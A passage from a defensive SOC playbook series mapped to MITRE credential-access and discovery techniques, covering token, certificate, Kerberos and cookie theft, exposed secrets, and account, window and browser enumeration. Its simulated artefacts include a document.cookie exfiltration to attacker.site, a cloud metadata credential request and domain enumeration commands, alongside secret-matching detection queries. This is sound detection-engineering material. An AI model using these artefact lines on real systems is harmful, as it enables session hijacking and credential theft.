D) Token Found in Memory or Logs

Process=node.exe
MemoryString=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

E) Browser / Local Storage Extraction

FileAccess=IndexedDB
Key=oauth_access_token

F) Excessive API Scope

TokenScopes=admin.read, data.export
UserRole=StandardUser

Severity decision (SOC)

Low

- Short-lived token reuse within expected context

Medium

- Token replay detected, no privilege abuse

High / Critical

- Token theft enabling access without MFA
- Privileged scopes or sensitive data accessed
- Persistence via refresh tokens confirmed

Example severity: Critical

(Stolen token + admin scope + API access)

Step-by-step SOC workflow

Step 1 Validate token theft and misuse

Confirm:

1. Was access granted without an authentication event?
2. Is the token reused from a different IP/device?
3. Are token scopes appropriate for the user/app?
4. Does the token outlive expected session bounds?

Decision point

- Legitimate token continuation → document and monitor
- Token theft suspected → continue investigation immediately

Step 2 Identify token type and exposure path

Token type	Evidence	Attacker value
Access token	Immediate API access	Fast exploitation
Refresh token	Long-term persistence	Re-auth bypass
App-only token	Service impersonation	Broad access
Browser token	SaaS access	User impersonation

Common exposure paths

- Browser storage (LocalStorage/IndexedDB)
- Process memory
- Logs and crash dumps
- Network interception
- CI/CD secrets leakage

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- No login/MFA events

Attacker intent

- Skip identity controls entirely

3B) Persistence via Tokens

Indicators

- Refresh token reuse

Attacker intent

- Maintain access silently

3C) Privilege Abuse

Indicators

- Over-scoped tokens

Attacker intent

- Expand access beyond user role

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Forge Web Credentials
 - Token minting or claim manipulation
2. Valid Accounts
 - Account actions performed via token
3. Lateral Movement
 - App-to-app access through SSO
4. Impact
 - Data exfiltration, configuration changes

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Revoke affected access and refresh tokens
2. Force re-authentication for impacted users/apps
3. Block suspicious IPs and user agents

If abuse confirmed

1. Rotate client secrets and app credentials
2. Reduce token lifetimes temporarily
3. Review and restrict OAuth scopes
4. Preserve logs and artefacts for forensics

Eradication and recovery

- Eliminate token exposure sources (logs, storage, memory)
- Enforce device binding and conditional access
- Enable continuous access evaluation
- Audit all apps for token handling hygiene
- Monitor closely for token replay attempts

Detection engineering (SIEM ideas)

A) Access without login

```
index=app_access  
| where auth_method="Bearer"  
| where login_event=false
```

B) Token reuse anomalies

```
index=token_events  
| where token_reuse=true  
| where ip_changed=true OR device_changed=true
```

C) Excessive refresh usage

```
index=auth  
| where grant_type="refresh_token"  
| stats count by user  
| where count > threshold
```

D) Scope abuse detection

index=oauth
| where token_scope NOT IN expected_scopes

Analyst checklist

- Token theft confirmed or ruled out
- Token type and scope identified
- Tokens revoked and secrets rotated
- Exposure source remediated
- Monitoring strengthened

Post-incident improvements

- Treat tokens as Tier-0 credentials
- Minimise token scope and lifetime by default
- Bind tokens to device, IP or risk context
- Avoid storing tokens in logs or insecure storage
- Include token-theft scenarios in SOC and purple-team exercises

Playbook 145 (MITRE Credential Access): Steal or Forge Authentication Certificates

Technique: Steal or Forge Authentication Certificates

Purpose

Detect, investigate and respond to attackers stealing or forging authentication certificates to impersonate users, devices or services, enabling attackers to:

- Bypass passwords and MFA entirely
- Authenticate as trusted users, services or machines
- Maintain long-term, low-noise access
- Abuse PKI trust chains (AD CS, cloud cert auth, mTLS)
- Evade detection by using “legitimate” authentication

Steal or Forge Authentication Certificates is identity compromise at the trust-anchor level attackers don't crack passwords they become trusted cryptographically.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised use, theft or creation of authentication certificates, including:

- Certificate-based logins from unexpected hosts or users
- Abnormal AD CS certificate enrollment or issuance
- Certificates used without corresponding private key protection
- Authentication events that bypass MFA unexpectedly
- Long-lived or forged certificates appearing in trust stores

Example use case scenario (end-to-end)

Context: SOC observes successful certificate-based logins to domain controllers from a workstation that never used smart-card or cert auth before. AD CS logs show a certificate issued using a vulnerable template allowing subject alternative name (SAN) abuse. The private key was exported from the victim host days earlier.

Attacker objective: Obtain passwordless, stealthy, long-term authentication as a privileged identity.

Defender objective: Revoke malicious certificates, restore PKI trust and remove attacker persistence.

What it looks like (simulated SOC artefacts)

A) Certificate-Based Authentication

AuthMethod=Certificate

User=DomainAdmin01

Device=WS-FIN-07

B) Abnormal Certificate Issuance

CA=corp-adcs01

Template=UserAuthentication

Requester=lowpriv_user

C) Private Key Export

Action=ExportPrivateKey

Store=UserCertStore

D) MFA Bypass

AuthResult=Success

MFA=NotRequired

E) Forged Identity

CertificateSAN=Administrator@corp.local

F) Persistence Indicator

CertificateValidity=5 years

Severity decision (SOC)

High

- Limited certificate misuse without privilege escalation

Critical

- Privileged or service account impersonation
- AD CS or PKI abuse enabling persistent access
- Certificate use replacing passwords or MFA

Example severity: Critical

(Trust-chain compromise enabling stealth authentication)

Step-by-step SOC workflow

Step 1 Validate certificate abuse

Confirm:

1. Is authentication occurring via certificates instead of passwords?
2. Is the certificate unexpected, newly issued or forged?
3. Does usage bypass MFA or normal auth controls?
4. Is the identity privileged or service-level?

Decision point

- Approved smart-card / mTLS usage → document
- Malicious certificate abuse → escalate immediately

Step 2 Identify method and scope

Method	Evidence	Attacker value
Certificate theft	Private key export	Passwordless auth
AD CS abuse	Vulnerable templates	Privilege escalation
Certificate forgery	SAN/subject abuse	Identity impersonation
Long-lived certs	Extended validity	Persistence
Trust store abuse	Root/intermediate misuse	Broad access

Step 3 Map behaviour to attacker intent

3A) MFA and Password Bypass

Indicators

- Cert-based logins without MFA

Attacker intent

- Evade credential protections

3B) Stealth Persistence

Indicators

- Long-valid certificates

Attacker intent

- Maintain access quietly

3C) Privilege Impersonation

Indicators

- Admin/service identities used

Attacker intent

- Full environment control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Privilege Escalation
 - AD CS abuse, template misconfig
2. Lateral Movement
 - Cert-based auth across hosts
3. Persistence
 - Additional cert issuance
4. Defense Evasion
 - Log tampering or alert suppression

Decision point

- Evidence found → escalate to Major Incident / Identity IR

Containment actions

Immediate

1. Revoke suspected certificates immediately
2. Disable affected user or service accounts
3. Block certificate-based auth temporarily if required

If certificate abuse confirmed

1. Revoke and invalidate all malicious certificates
2. Reset credentials for affected identities
3. Audit AD CS templates, enrollment permissions and CA config
4. Notify SOC leadership, IAM, IR and PKI owners

Eradication and recovery

- Remove attacker access and persistence
- Rebuild trust stores if compromised
- Harden AD CS templates and CA permissions
- Enforce key protection (non-exportable keys, HSMs)
- Monitor continuously for abnormal cert issuance and use

Detection engineering (SIEM ideas)

A) Certificate-based authentication anomaly

index=auth

| where auth_method="Certificate"

| where src_host NOT IN baseline_hosts

B) Abnormal certificate issuance

index=adcs

| where action="IssueCertificate"

| where requester_role!="Expected"

C) Certificate auth bypassing MFA

index=auth

| where auth_method="Certificate" AND mfa="false"

Analyst checklist

- Certificate theft or forgery confirmed
- Affected identities and certificates identified
- Certificates revoked and trust restored
- PKI and AD CS hardened
- Incident escalated appropriately

Post-incident improvements

- Treat PKI and AD CS as Tier-0 identity infrastructure
- Monitor and alert on certificate issuance and usage
- Harden certificate templates and enrollment permissions
- Enforce short certificate lifetimes where possible
- Include certificate-abuse scenarios in SOC and IR exercises

Playbook 146 (MITRE Credential Access): Steal or Forge Kerberos Tickets

Technique: Steal or Forge Kerberos Tickets

Sub-techniques covered:

- Golden Ticket
- Silver Ticket
- Kerberoasting
- AS-REP Roasting
- Ccache Files

Purpose

Detect, investigate and respond to attacker theft or forgery of Kerberos authentication tickets, enabling attackers to:

- Impersonate any user, including Domain Admins
- Bypass passwords and MFA entirely
- Achieve persistent, stealthy domain-wide access
- Move laterally without triggering login failures
- Operate using legitimate Kerberos authentication flows

Steal or Forge Kerberos Tickets is Active Directory compromise at the protocol level attackers don't attack accounts, they abuse Kerberos trust itself.

When to trigger this playbook

Trigger this playbook when indicators suggest Kerberos ticket abuse, including:

1. Kerberos authentication without corresponding logon events
2. Tickets with abnormal lifetimes or attributes
3. Service access without password usage
4. Unusual TGS requests across many services
5. Kerberos activity from non-domain-joined systems
6. Use of Kerberos tickets after password resets

Example use case scenario (end-to-end)

Context: SOC observes a user accessing multiple file servers and databases without recent authentication. Passwords were reset days earlier. Investigation reveals a Golden Ticket forged using the KRBTGT hash, granting persistent Domain Admin access.

Attacker objective: Maintain unlimited, long-term access to the domain using forged Kerberos tickets.

Defender objective: Detect Kerberos abuse, invalidate forged tickets and restore domain trust.

What it looks like (simulated SOC artefacts)

A) Golden Ticket

TicketType=TGT
User=Administrator
Lifetime=10 years
PasswordReset=Irrelevant

B) Silver Ticket

Service=HOST/FILESRV01
AuthSuccess=true
DCContacted=false

C) Kerberoasting

EventID=4769
ServiceAccount=svc_sql
EncryptionType=RC4
RequestVolume=High

D) AS-REP Roasting

EventID=4768
PreAuthRequired=false
User=legacy_user

E) Ccache File Abuse (Linux)

File=krb5cc_1000
AuthUsed=true
Host=NonDomainLinux

F) Access After Password Reset

PasswordReset=true
KerberosAccess=true

Severity decision (SOC)

Low

- Normal Kerberos usage in enterprise

Medium

- Kerberoasting or AS-REP roasting attempts detected

High / Critical

- Golden or Silver Ticket confirmed
- Domain-wide access achieved
- Persistence after password reset

Example severity: Critical

(Golden Ticket + Domain Admin + persistence)

Step-by-step SOC workflow

Step 1 Validate Kerberos ticket theft or forgery

Confirm:

1. Are Kerberos tickets used without recent authentication?
2. Do ticket lifetimes exceed policy?
3. Are services accessed without DC involvement (Silver Ticket)?
4. Does access persist after password resets?

Decision point

- Legitimate Kerberos usage → document and monitor
- Ticket theft/forgery suspected → continue investigation immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Golden Ticket	Long-lived TGT	Domain takeover
Silver Ticket	Service auth w/o DC	Stealth service access
Kerberoasting	Excessive TGS requests	Crack service creds
AS-REP roasting	Pre-auth disabled	Offline cracking
Ccache files	Ticket reuse on Linux	Cross-platform access

Step 3 Map behaviour to attacker intent

3A) Persistent Domain Access

Indicators

- Access unaffected by password resets

Attacker intent

- Long-term, resilient control

3B) Stealthy Lateral Movement

Indicators

- Service access without DC logs

Attacker intent

- Avoid detection

3C) Credential Extraction for Expansion

Indicators

- Kerberoasting/AS-REP roasting

Attacker intent

- Obtain additional credentials

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Valid Accounts
 - Pass-the-Ticket usage
- Lateral Movement
 - SMB, MSSQL, LDAP via Kerberos
- Persistence
 - Continued ticket forging
- Impact
 - Domain compromise, ransomware staging

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected systems
2. Disable compromised service accounts
3. Restrict Kerberos access temporarily if required

If abuse confirmed

1. Reset KRBTGT account twice (Golden Ticket mitigation)
2. Rotate service account passwords
3. Disable accounts with pre-authentication disabled
4. Invalidate cached Kerberos tickets

Eradication and recovery

- Enforce strong Kerberos policies (ticket lifetime, encryption)
- Eliminate RC4 and weak encryption types
- Audit all service accounts and SPNs
- Remove unnecessary Kerberos delegation
- Monitor aggressively for renewed ticket abuse

Detection engineering (SIEM ideas)

A) Golden Ticket indicators

index=windows
| where ticket_lifetime > policy_limit

B) Silver Ticket detection

index=auth
| where service_access=true
| where dc_contacted=false

C) Kerberoasting detection

index=windows
| where event_id=4769
| stats count by user, service_account
| where count > threshold

D) AS-REP roasting detection

```
index=windows  
| where event_id=4768  
| where preauth_required=false
```

E) Linux ccache usage

```
index=linux  
| where file LIKE "krb5cc_%"
```

Analyst checklist

- Kerberos abuse technique identified
- Scope of domain impact assessed
- KRBTGT and service accounts rotated
- Tickets invalidated
- Long-term monitoring enabled

Post-incident improvements

- Treat Kerberos trust as Tier-0 infrastructure
- Monitor ticket lifetimes and abnormal usage patterns
- Eliminate weak encryption and legacy configs
- Audit service accounts regularly
- Include Kerberos abuse scenarios in SOC and purple-team exercises

Playbook 147 (MITRE Credential Access): Steal Web Session Cookie

Technique: Steal Web Session Cookie

Purpose

Detect, investigate and respond to attacker theft of web session cookies, enabling attackers to:

- Hijack authenticated sessions without passwords or MFA
- Impersonate users across web apps and SaaS
- Bypass conditional access controls tied to login events
- Persist via long-lived or refreshable sessions
- Move laterally between SSO-connected applications

Steal Web Session Cookie is authentication bypass by session theft attackers reuse what the browser already trusts.

When to trigger this playbook

Trigger this playbook when indicators suggest session hijacking or cookie misuse, including:

- Web access without corresponding login/MFA events
- Session reuse from new IPs, devices or geographies
- Cookie replay after logout or password reset
- Access via browser automation or unusual user agents
- Cookies exposed via XSS, malicious extensions or memory reads
- Network indicators of cookie interception

Example use case scenario (end-to-end)

Context: SOC observes access to a finance SaaS from a foreign IP with no login recorded. The user confirms they are logged in locally. Investigation reveals an XSS flaw that exfiltrated the user's session cookie, which the attacker replayed.

Attacker objective: Operate as an authenticated user without re-authentication.

Defender objective: Invalidate stolen sessions, close the exposure and prevent replay.

What it looks like (simulated SOC artefacts)

A) Access Without Login

App=FinanceSaaS
AuthMethod=SessionCookie
LoginEvent=None

B) Cookie Replay From New Context

CookieID=SID_9f3a
OriginalIP=192.168.1.10
ReplayIP=185.xxx.xxx.xxx
DeviceFingerprint=Changed

C) XSS-Based Exfiltration

Payload=document.cookie
Destination=https://attacker.site/collect

D) Browser Extension Theft

Extension=Unknown
Permission=ReadAndChangeAllData
CookieAccess=true

E) Memory / Process Extraction

Process=chrome.exe
MemoryString=SESSION=eyJhbGciOi...

F) Persistence via Long-Lived Session

SessionTTL=14 days
LogoutEvent=Ignored

Severity decision (SOC)

Low

- Short-lived session continuation within expected context

Medium

- Suspicious session reuse, no sensitive actions

High / Critical

- Session hijacking confirmed
- Privileged or sensitive app accessed
- MFA/Conditional Access bypassed

Example severity: Critical

(Cookie replay + no login/MFA + finance app access)

Step-by-step SOC workflow

Step 1 Validate web session cookie theft

Confirm:

1. Was access granted without a login/MFA event?
2. Is the session reused from a different IP/device?
3. Are cookies long-lived or refreshable?
4. Is there an exposure vector (XSS, extension, malware, network)?

Decision point

- Legitimate continuation → document and monitor
- Cookie theft suspected → continue investigation immediately

Step 2 Identify theft vector and scope

Vector	Evidence	Attacker value
XSS	document.cookie exfil	Stealth hijack
Malicious extension	Cookie read perms	Broad app access
Memory scraping	Cookie strings	Fileless theft
Network interception	Cleartext cookies	Session replay
Browser storage	IndexedDB/Cache	Persistence

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- No login/MFA events

Attacker intent

- Skip identity controls

3B) Session Hijacking

Indicators

- Same cookie, new context

Attacker intent

- Impersonate user silently

3C) Persistence

Indicators

- Long TTL, refreshable sessions

Attacker intent

- Maintain access without reauth

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Forge Web Credentials
 - Token minting or claim abuse
2. Valid Accounts
 - Actions performed via hijacked session
3. Lateral Movement
 - SSO app hopping
4. Impact
 - Data exfiltration, config changes

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Invalidate affected sessions and cookies (global logout)
2. Force re-authentication for impacted users
3. Block attacker IPs / user agents

If abuse confirmed

1. Reset user credentials (defence-in-depth)
2. Rotate app secrets if cookies were signed server-side
3. Disable/remove malicious extensions
4. Preserve artefacts (payloads, extensions, logs) for forensics

Eradication and recovery

- Fix XSS and client-side injection paths
- Enforce HttpOnly, Secure, SameSite=Strict cookies
- Bind sessions to device/risk signals
- Reduce session TTLs require reauth for sensitive actions
- Monitor closely for cookie replay

Detection engineering (SIEM ideas)

A) Access without login

```
index=web_access  
| where auth_method="Cookie"  
| where login_event=false
```

B) Session replay anomalies

```
index=sessions  
| where cookie_reuse=true  
| where ip_changed=true OR device_changed=true
```

C) XSS indicators

```
index=web  
| where payload LIKE "%document.cookie%"
```

D) Extension abuse

```
index=edr  
| where browser_extension_permission LIKE "%cookies%"  
| where extension NOT IN approved_list
```

Analyst checklist

- Cookie theft confirmed or ruled out
- Exposure vector identified and closed

- Sessions invalidated and reauth enforced
- User impact assessed
- Monitoring strengthened

Post-incident improvements

- Treat sessions as Tier-0 credentials
- Shorten session lifetimes and enforce reauth for high-risk actions
- Harden apps against XSS and client-side abuse
- Monitor session behaviour, not just logins
- Include cookie-theft scenarios in SOC and purple-team exercises

Playbook 148 (MITRE Credential Access): Unsecured Credentials

Technique: Unsecured Credentials

Sub-techniques covered:

- Credentials in Files
- Credentials in Registry
- Shell History
- Private Keys
- Cloud Instance Metadata API
- Group Policy Preferences
- Container API
- Chat Messages

Purpose

Detect, investigate and respond to credentials exposed or stored insecurely, enabling attackers to:

- Harvest plaintext secrets without malware or exploits
- Bypass MFA and identity protections using real credentials
- Access servers, cloud resources, containers and SaaS
- Persist by reusing long-lived secrets and keys
- Move laterally with minimal noise

Unsecured Credentials is credential theft by convenience attackers take secrets that were never properly protected.

When to trigger this playbook

Trigger this playbook when indicators suggest credentials exist outside secure vaults, including:

- Secrets found in files, scripts, configs or repositories
- Registry keys containing passwords or tokens
- Command history revealing credentials
- Private keys stored without protection
- Access to cloud instance metadata endpoints
- Discovery of GPP cpassword values
- Unauthorised access to container APIs
- Credentials shared via chat or collaboration tools

Example use case scenario (end-to-end)

Context: SOC detects access to cloud resources using a service account key. No phishing or malware is observed. Investigation finds the key embedded in a deployment script and later shared in a chat channel. The attacker harvested the key and accessed cloud APIs directly.

Attacker objective: Exploit poor secret hygiene to gain access without detection.

Defender objective: Identify exposed credentials, invalidate them and enforce secure storage.

What it looks like (simulated SOC artefacts)

A) Credentials in Files

File=deploy.sh
Content=DB_PASSWORD=SuperSecret123

B) Credentials in Registry

HKLM\Software\App\Config
Password=plaintext

C) Shell History

.bash_history
mysql -u admin -pSuperSecret123

D) Private Keys Exposed

id_rsa
Permissions=0644
Passphrase=None

E) Cloud Instance Metadata API Abuse

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Result=AccessKey, SecretKey

F) Group Policy Preferences (GPP)

Groups.xml
cpassword=EncryptedButReversible

G) Container API Access

DockerAPI=tcp://0.0.0.0:2375
Auth=None

H) Chat Message Leakage

SlackMessage:
"Here's the prod token: eyJhbGciOi..."

Severity decision (SOC)

Low

- Old, inactive or test credentials exposed

Medium

- Active credentials exposed, no confirmed misuse

High / Critical

- Active credentials reused by attacker
- Cloud, admin or production access achieved
- Secrets enable persistence or lateral movement

Example severity: Critical

(Cloud key in script + metadata abuse + API access)

Step-by-step SOC workflow

Step 1 Validate unsecured credential exposure

Confirm:

1. Where the credential was stored (file, registry, chat, metadata)?
2. Is the credential active and valid?
3. Who had access to the location?
4. Is there evidence of credential use after exposure?

Decision point

- Inactive/expired → document and remediate
- Active exposure → continue investigation immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Files	Plaintext secrets	Easy reuse
Registry	App passwords	Stealth access
Shell history	CLI creds	Lateral movement
Private keys	SSH/API access	Persistence
Metadata API	Temp cloud creds	Cloud takeover
GPP	Domain local creds	AD access
Container API	Orchestration control	Infra compromise
Chat messages	Tokens/passwords	SaaS access

Step 3 Map behaviour to attacker intent

3A) Credential Harvesting

Indicators

- Secrets found outside vaults

Attacker intent

- Obtain real credentials quickly

3B) MFA Bypass

Indicators

- API keys, SSH keys, service creds

Attacker intent

- Skip interactive auth

3C) Persistence

Indicators

- Long-lived keys or tokens

Attacker intent

- Maintain access silently

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Logins using exposed creds
2. Use Alternate Authentication Material
 - Tokens, keys, tickets
3. Lateral Movement
 - SSH, RDP, cloud APIs, containers
4. Impact
 - Data access, infrastructure changes

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Revoke or rotate exposed credentials
2. Restrict access to exposed storage locations
3. Block attacker IPs or sessions if identified

If abuse confirmed

1. Reset affected user, service and app credentials
2. Rotate cloud keys and instance roles
3. Disable insecure APIs (e.g., Docker TCP)
4. Preserve artefacts (files, chats, logs) for forensics

Eradication and recovery

- Remove plaintext secrets from files, registry and history
- Enforce secrets management (vaults, managed identities)
- Lock down metadata APIs (IMDSv2)
- Restrict chat sharing of secrets enable DLP
- Monitor closely for reuse attempts

Detection engineering (SIEM ideas)

A) Secret scanning in files

index=edr

| where file_content MATCHES "(password=|api_key=|secret=)"

B) Metadata API access

```
index=network  
| where url="169.254.169.254"  
| where request_count > threshold
```

C) GPP discovery

```
index=windows  
| where file LIKE "%Groups.xml%"
```

D) Unsecured container API

```
index=network  
| where destination_port=2375
```

E) Chat secret leakage

```
index=collaboration  
| where message MATCHES "(token|password|secret)"
```

Analyst checklist

- Unsecured credential location identified
- Credential validity assessed
- Rotation and revocation completed
- Abuse assessed and contained
- Preventive controls implemented

Post-incident improvements

- Treat secrets as Tier-0 assets
- Enforce “no secrets in code, files or chat”
- Use managed identities and short-lived creds
- Scan continuously for secret exposure
- Include unsecured-credential scenarios in SOC and purple-team exercises

DISCOVERY

Discovery is the stage where attackers explore the compromised environment to understand what systems, users, data and connections exist. After gaining access and credentials, adversaries enumerate hosts, accounts, network shares, domain relationships, security controls and trust paths to decide where to move next. This phase helps attackers prioritise targets, identify high-value assets and plan lateral movement or data theft while minimising mistakes. For SOC teams, detecting discovery activity is critical because it indicates the attacker is actively mapping the internal environment early interruption at this stage can prevent escalation into widespread compromise or major business impact.

Playbook 149 (MITRE Discovery): Account Discovery

Technique: Account Discovery

Sub-techniques covered:

- Local Account
- Domain Account
- Email Account
- Cloud Account

Purpose Detect, investigate and respond to attacker enumeration of accounts across endpoints, directories, email systems and cloud platforms, enabling attackers to:

- Identify valid users for credential attacks
- Map privilege levels and high-value targets
- Select accounts for lateral movement and persistence
- Prepare phishing, password spraying or Kerberos abuse
- Operate more precisely and quietly

Account Discovery is target selection attackers don't act blindly they first learn who exists.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic account enumeration, including:

- Commands or APIs listing users or groups
- Directory queries outside normal admin workflows
- Email address harvesting or mailbox enumeration
- Cloud IAM user/service principal listing
- Account discovery followed by authentication attempts
- Discovery activity from non-admin or unusual hosts

Example use case scenario (end-to-end)

Context: SOC observes a workstation executing multiple directory queries. Shortly after, password spraying attempts target discovered users. Analysis confirms domain and cloud account enumeration preceding the attack.

Attacker objective: Build an accurate target list before credential access.

Defender objective: Detect discovery early and disrupt follow-on attacks.

What it looks like (simulated SOC artefacts)

A) Local Account Discovery

Command=net user
Host=WORKSTATION01

B) Domain Account Discovery

Command=net user /domain
EventID=4661
ObjectType=User

C) Email Account Enumeration

Protocol=SMTP
Command=VRFY
Result=ValidUser

D) Cloud Account Discovery

API=ListUsers
Service=IAM
Caller=CompromisedUser

E) Group Enumeration

Command=net group "Domain Admins" /domain

F) No Immediate Exploitation

AuthAttempts=None
DiscoveryOnly=true

Severity decision (SOC)

Low

- Legitimate admin or IT inventory activity

Medium

- Account discovery from non-admin context

High / Critical

- Discovery preceding credential attacks

- Enumeration of privileged or cloud accounts

Example severity: High

(Domain + cloud account discovery from user workstation)

Step-by-step SOC workflow

Step 1 Validate account discovery activity

Confirm:

1. Which account types were enumerated?
2. Was the activity authorised for the user/host?
3. Is enumeration broad or targeted?
4. Did it occur before authentication attacks?

Decision point

- Legitimate inventory → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Local accounts	net user	Privilege mapping
Domain accounts	LDAP / net commands	Spray targets
Email accounts	SMTP/Graph queries	Phishing
Cloud accounts	IAM APIs	SaaS compromise

Step 3 Map behaviour to attacker intent

3A) Target Identification

Indicators

- Broad user listing

Attacker intent

- Build attack list

3B) Privilege Mapping

Indicators

- Group or role enumeration

Attacker intent

- Find high-value accounts

3C) Attack Preparation

Indicators

- Discovery preceding brute force or phishing

Attacker intent

- Increase success rate

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Brute force, phishing, Kerberos abuse
2. Valid Accounts
 - Successful logins using discovered users
3. Lateral Movement
 - Access attempts to servers or SaaS
4. Impact
 - Privilege escalation or data access

Decision point

1. Evidence found → escalate to Incident Response / Crisis Mode Containment actions

Immediate

- Stop unauthorised discovery processes or API calls
- Isolate compromised hosts if necessary
- Monitor discovered accounts for abuse

If abuse confirmed

- Reset targeted credentials if needed
- Tighten directory and API permissions
- Block enumeration commands from non-admin contexts

- Preserve logs for investigation

Eradication and recovery

- Remove attacker footholds
- Enforce least privilege for directory queries
- Harden email and cloud enumeration controls
- Review audit policies for account discovery
- Monitor closely for renewed enumeration

Detection engineering (SIEM ideas)

A) Local/domain account enumeration

index=windows
| where command IN ("net user","net group")

B) LDAP user listing anomalies

index=directory
| where query_type="UserEnumeration"
| where caller_role!="Admin"

C) Email account enumeration

index=email_gateway
| where smtp_command IN ("VRFY","EXPN")

D) Cloud IAM listing

index=cloud
| where api IN ("ListUsers","GetUser")
| where caller_role!="Admin"

Analyst checklist

- Account discovery confirmed
- Account types and scope identified
- Authorisation assessed
- Follow-on attack risk evaluated
- Monitoring enhanced

Post-incident improvements

- Treat account discovery as early-stage intrusion signal
- Restrict enumeration to approved admin roles
- Disable legacy email enumeration features
- Monitor discovery → access chains
- Include discovery-only scenarios in SOC and purple-team exercises

Playbook 150 (MITRE Discovery): Application Window Discovery

Technique: Application Window Discovery

Purpose

Detect, investigate and respond to attacker enumeration of visible application windows and UI context on endpoints, enabling attackers to:

- Identify active applications (email, browsers, password managers, admin tools)
- Time credential prompts, phishing overlays or input capture
- Select high-value targets (finance apps, admin consoles)
- Tailor follow-on actions (keylogging, screenshotting, injection)
- Operate with higher precision and lower noise

Application Window Discovery is situational awareness on the endpoint attackers learn what the user is doing right now.

When to trigger this playbook

Trigger this playbook when indicators suggest programmatic querying of window titles or UI state, including:

- Processes enumerating window titles, handles or UI trees
- Calls to OS APIs used for window discovery (e.g., EnumWindows)
- Repeated discovery aligned with user activity changes
- Discovery from non-UI tools or headless processes
- Correlation with screenshotting, input capture or injection attempts

Example use case scenario (end-to-end)

Context: EDR detects a background process repeatedly enumerating window titles. Shortly after, a phishing overlay appears mimicking a cloud login prompt when the user opens a browser tab. Analysis confirms application window discovery used to time the attack.

Attacker objective: Observe active applications to trigger the right payload at the right moment.

Defender objective: Detect UI reconnaissance early and prevent context-aware attacks.

What it looks like (simulated SOC artefacts)

A) Window Enumeration API Calls

Process=unknown.exe
API=EnumWindows
Frequency=High

B) Window Title Harvesting

WindowTitle="Outlook - Inbox"
WindowTitle="Admin Portal - Browser"

C) Process–UI Mismatch

Process=svc_update.exe
UIAccess=true
Expected=false

D) Repeated Polling

DiscoveryInterval=2 seconds
Duration=15 minutes

E) Correlation With User Action

UserOpened=Browser
DiscoverySpike=true

F) No Immediate Exploit

Action=DiscoveryOnly
Payload=Pending

Severity decision (SOC)

Low

- Legitimate accessibility tools or IT support software

Medium

1. Window discovery by non-standard processes

High / Critical

- Discovery followed by phishing overlays, keylogging or injection
- Discovery on privileged or executive endpoints

Example severity: High

(Repeated window enumeration by unknown process)

Step-by-step SOC workflow

Step 1 Validate application window discovery

Confirm:

- Which process is enumerating windows?
- Is the process expected to interact with UI?
- Are calls frequent and continuous?
- Is discovery correlated with user activity?

Decision point

- Legitimate UI tooling → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
Window title enumeration	Titles captured	App awareness
Handle enumeration	HWND queries	Injection prep
UI tree traversal	Accessibility APIs	Precise targeting
Polling	High frequency	Real-time timing

Step 3 Map behaviour to attacker intent

3A) Context-Aware Targeting

Indicators

- Discovery spikes when apps open

Attacker intent

- Trigger attacks at optimal moments

3B) Credential Theft Preparation

Indicators

- Discovery of browsers, password managers

Attacker intent

- Steal credentials or sessions

3C) Privileged App Identification

Indicators

1. Enumeration of admin consoles

Attacker intent

- Elevate privileges or pivot

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Input Capture
 1. Keylogging, GUI capture
2. Screen Capture
 1. Screenshots or video
3. Process Injection
 1. UI-based injection
4. Phishing
 1. Overlay or fake login prompts

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

- Suspend or terminate suspicious processes
- Isolate affected endpoints if necessary
- Block execution paths or hashes

If abuse confirmed

- Remove malicious binaries and persistence
- Reset potentially exposed credentials
- Review endpoints for additional tooling

- Preserve artefacts and EDR telemetry for forensics

Eradication and recovery

- Rebuild endpoints if integrity is uncertain
- Restrict UI-access permissions where possible
- Harden endpoints against overlay and injection techniques
- Educate users on unexpected prompts
- Monitor closely for renewed UI reconnaissance

Detection engineering (SIEM ideas)

A) Window enumeration API usage

```
index=edr  
| where api_call IN ("EnumWindows","EnumChildWindows")  
| where process NOT IN approved_ui_tools
```

B) High-frequency UI polling

```
index=edr  
| stats count by process, api_call, minute  
| where count > threshold
```

C) UI access by background services

```
index=edr  
| where ui_access=true  
| where process_type="Service"
```

Analyst checklist

- Application window discovery confirmed
- Process legitimacy assessed
- Correlation with user activity evaluated
- Follow-on threats investigated
- Controls strengthened

Post-incident improvements

- Treat UI discovery as pre-attack reconnaissance
- Monitor for abnormal UI API usage
- Limit UI access for background processes
- Correlate discovery with credential theft attempts

- Include UI-based recon scenarios in SOC and purple-team exercises

Playbook 151 (MITRE Discovery): Browser Information Discovery

Technique: Browser Information Discovery

Purpose

Detect, investigate and respond to attacker discovery of browser data, configuration and state, enabling attackers to:

- Identify installed browsers and versions
- Enumerate extensions, plugins and security controls
- Discover stored credentials, sessions and tokens (indirectly)
- Select the best follow-on technique (cookie theft, extension abuse, injection)
- Tailor attacks to the user's browsing environment

Browser Information Discovery is web-context reconnaissance attackers learn how the user accesses apps before attempting credential or session theft.

When to trigger this playbook

Trigger this playbook when indicators suggest programmatic access to browser artefacts or settings, including:

- Processes reading browser profile directories or config files
- Enumeration of installed browsers and versions
- Queries for browser extensions, policies or security settings
- Access to browser storage locations (profiles, caches) without user interaction
